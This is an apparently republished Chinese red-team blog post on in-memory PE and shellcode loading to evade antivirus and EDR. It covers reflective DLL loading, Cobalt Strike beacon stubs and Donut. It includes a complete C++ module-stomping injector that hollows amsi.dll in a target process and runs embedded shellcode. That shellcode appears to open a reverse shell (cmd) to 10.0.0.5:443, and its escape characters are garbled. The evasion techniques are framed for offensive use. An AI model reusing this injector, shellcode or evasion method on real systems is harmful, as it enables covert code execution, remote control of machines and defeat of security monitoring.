当我们想要加载执行一个程序或者shellcode时,通常的做法就是双击exe执行,然而在攻防场景中这并不容易做到,考虑到有杀软或EDR设备的环境下,命令行执行很大概率也会报毒,这是因为进程的调用链是cmd→灰进程,对于av来说这种调用很可疑,为了规避这种敏感调用,一种方法是断链, 关于断链的内容这里不多赘述,读者可自行查找学习,另一种方法就是内存加载,把DLL或者exe等PE格式的文件从内存中直接加载到内存中去执行,不需要通过LoadLibrary等API函数去操作,这样做的好处是
-
文件不存在于磁盘上,省去静态免杀的操作
-
避免文件加载触发的内核回调
-
加载的程序不会在peb和进程中呈现
内存加载的方法主要有两种,第一种方法是针对PE格式的文件,编写一个PELoader模拟LoadLibrary函数的操作将pe文件加载到内存并执行;另一种是针对.NET程序集,可以利用C#的反射特性,使用
Assembly.Load
加载程序集。接下来将详细聊聊两种方法的细节和优劣。
PELoader
如前所述,自己编写的PELoader目的就是模拟LoadLibrary
函数的行为把PE文件加载到内存空间并跳转到PE文件的oep
去执行。
由于文件对齐与内存对齐大小不一定一致,因此我们将PE文件各个部分复制到内存时可能会需要更大的地址空间,而这个值我们可以在可选PE头的SizeOfImage
字段获得,这个字段揭示的就是内存中PE文件映射的尺寸,这个值是SectionAlignment
(内存对齐大小)的整数倍。另外PE文件在内存中实际加载地址与偏好加载地址不一定相同,而在 PE 文件中,有一些全局变量的地址是硬编码的(这些数据的地址由重定向表追踪),那么自然也会随着实际加载地址的变化而变化。因此在映射后我们需要修复重定向表,使程序能正确执行。最后我们还需要修复 IAT 表,这是因为没有系统帮忙导入程序运行需要的dll,我们就需要自己导入dll和函数。因为Cobalt Strike的beacon
是一个dll形式的文件,因此本文都以ReflectiveDllLoader
为例,ReflectiveDllLoader
的完整流程如下,具体的代码实现参考ReflectiveDLLInjection。
-
通过
CreateRemoteThread
等API直接执行导出函数ReflectiveLoader
,或者修补DOS 头使其成为 可执行的Shellcode,然后跳转到ReflectiveLoader
执行。 -
计算出 DLL 的基址,通过不断前移匹配到 MZ标记。
-
通过PEB获取一些必要的 API 例如
LoadLibrary
,GetProcAddress
,VirtualAlloc
的地址。 -
映射pe文件到内存
-
根据
SizeOfImage
,申请内存。 -
将 DLL 的各个头以及节复制到分配的内存空间,并设置对应的内存权限。
-
修复重定位表,计算PE文件偏好基址和加载后的基址相差的offest,将要修复的地址加上这个offest。
-
修复IAT表,遍历所有导入的 DLL,对于每个 DLL,遍历每个导入函数。根据函数的导入方式(函数序号或名称),补丁导入函数的地址。
-
跳转入口执行
对于以上所述的这种加载方式,从调用堆栈上追踪,其实会发现有些“不寻常”的地方。此处以donut默认生成的文件示例:
如图所示,多个函数都没有对应的符号,这是因为dll并非加载自磁盘。
同时我们可以看到该内存区域还是私有的RWX属性,这对于杀软来说是很可疑的。
对于RWX属性内存,我们可以分配RX+RW权限来替代直接分配RWX权限的内存,这样能很好的规避对敏感内存区域的检测。而对于RX权限的内存,我们知道系统中此类内存大部分都是图像映像的,它们对应于加载到进程中的 DLL 的 .text 部分。因此AV/EDR通常会检测拥有可执行属性的内存是否从磁盘上的映像加载,对此,有效的办法是Module Stomping
(or Module Overloading
or Process Hollowing
) ,该方法原理大致如下:
-
将合法的Windows DLL 注入到目标进程
-
将 shellcode 覆盖在步骤 1 中加载的 DLL 的入口点
-
启动一个新线程执行shellcode
这样做的好处是,当杀软检测该可执行内存对应的映像文件时,会检查到的是合法的dll文件,是这种检测方式失效。Donut的
-j
参数已经内置了Module Overloading
的方法。
下面是将amsi.dll
注入进程并镂空加载我们shellcode的简单实现:
int main(int argc, char *argv[])
{
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t moduleToInject[] = L"C:\windows\system32\amsi.dll";
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
CHAR remoteModuleName[128] = {};
HMODULE remoteModule = NULL;
unsigned char shellcode[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5x49xbcx02x00x01xbbx0ax00x00x05x41x54x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68x01x01x00x00x59x41xbax29x80x6bx00xffxd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xffxc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5";
// inject a benign DLL into remote process
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);
// find base address of the injected benign DLL in remote process
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
remoteModule = modules[i];
GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
if (std::string(remoteModuleName).compare("amsi.dll") == 0)
{
std::cout << remoteModuleName << " at " << modules[i];
break;
}
}
// get DLL's AddressOfEntryPoint
DWORD headerBufferSize = 0x1000;
LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
std::cout << ", entryPoint at " << dllEntryPoint;
// write shellcode to DLL's AddressofEntryPoint
WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
// execute shellcode from inside the benign DLL
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
return 0;
}
内置式Loader
目前的loader主要分为两种,一种是像Cobalt Strike 一样,通过修补Dos头,使得dos头在执行时可以直接调用ReflectiveLoader函数,以此完成dll的加载,这种暂时称为内置式Loader,下面是默认生成的Beacon.dll和beacon.bin的Dos头对比:
可以看出,相比于Beacon.dll,Beacon.bin的DOS头多了一部分,下面这部分汇编代码是beacon.bin中Dos头的前面几行经过chatgpt解释后生成:
4D 5A -> "MZ" ; DOS header
41 52 55 48 89 E5 48 -> "ARUH" ; Beginning of PE header
81 EC 20 00 00 00 -> sub rsp, 0x20 ; Allocate space for the stack
48 8D 1D EA FF FF FF -> lea rbx, [rip - 0x16] ; Load effective address of some memory location
48 89 DF -> mov rdi, rbx ; Move rbx into rdi
48 81 C3 44 64 01 00 -> add rbx, 0x16444 ; Add 0x16444 to rbx
FF D3 -> call rbx ; Call the address in rbx
41 B8 F0 B5 A2 56 -> mov r8d, 0x56A2B5F0 ; Move 0x56A2B5F0 into r8d
68 04 00 00 00 -> push 0x4 ; Push 0x4 onto the stack
5A -> pop rdx ; Pop the top of the stack into rdx
48 89 F9 -> mov rcx, rdi ; Move rdi into rcx
FF D0 -> call rax ; Call the address in rax
大致意思是前移`0x16`字节从而获得Shellcode地址,然后传参,再通过硬编码的偏移计算出ReflectiveLoader的位置并调用,再往后则是在调用dllmain函数。
前置式Loader
与内置式的Loader不同在于没有将ReflectiveLoader函数放到DLL中,而是放在DLL的前面,这样做的好处是,能够在不知道源码的情况下反射加载任意的PE文件,同时不需要额外的导出函数,这样也有利于规避掉一些基于此的检测。下面是两种Loader的对比图:
更多关于前置式Loader的内容可以阅读这篇文章https://blog.f-secure.com/doublepulsar-usermode-analysis-generic-reflective-dll-loader/
Reference:
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/TheWover/donut
https://raven-medicine.com/books/ec8ce/page/f457c#bkmrk-膨胀式加载
https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing
原文始发于微信公众号(黄公子学安全):关于PE文件的内存加载分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论